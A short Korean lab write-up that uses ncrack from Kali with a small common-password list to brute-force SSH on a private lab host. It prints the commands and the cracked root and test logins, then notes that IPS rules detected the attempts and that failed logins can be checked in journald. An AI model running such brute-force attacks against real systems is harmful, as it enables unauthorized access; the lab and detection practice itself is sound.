ncrack을 활용한 SSH(22번포트) 암호 크랙

@kali 에서 ncrack 최신버전으로 업데이트하기 

apt-get install ncrack

# vim pass.txt (많이 사용하는 암호 목록)

           passwd

           dkagh1.

           dkagh2.

           P@ssw0rd

           qwer1234

           computer

           security

           passwd!

 

# ncrack -v --user root -P pass.txt 192.168.2.10:22 (공격할 IP: 포트)

ncrack -v --user root -P pass.txt 192.168.2.10:22

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-08-28 03:02 KST

Discovered credentials on ssh://192.168.2.10:22 'root' 'qwer1234'
ssh://192.168.2.10:22 finished.

Discovered credentials for ssh on 192.168.2.10 22/tcp:
192.168.2.10 22/tcp ssh: 'root' 'qwer1234'

Ncrack done: 1 service scanned in 15.06 seconds.
Probes sent: 8 | timed-out: 0 | prematurely-closed: 0

test유저 비밀번호도 함 해봤당

ncrack -v --user test -P pass.txt 192.168.2.10:22

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-08-28 03:04 KST

Discovered credentials on ssh://192.168.2.10:22 'test' 'test'
ssh://192.168.2.10:22 finished.

Discovered credentials for ssh on 192.168.2.10 22/tcp:
192.168.2.10 22/tcp ssh: 'test' 'test'

Ncrack done: 1 service scanned in 9.11 seconds.
Probes sent: 12 | timed-out: 0 | prematurely-closed: 1

Ncrack finished.

 # 패킷캡쳐, ips 로그 확인

아래 두 룰 정책이 탐지된 것을 볼 수 있다.

           2001219

           2003068

@centos에서 

journald 로 로그인 실패 로그 확인해보기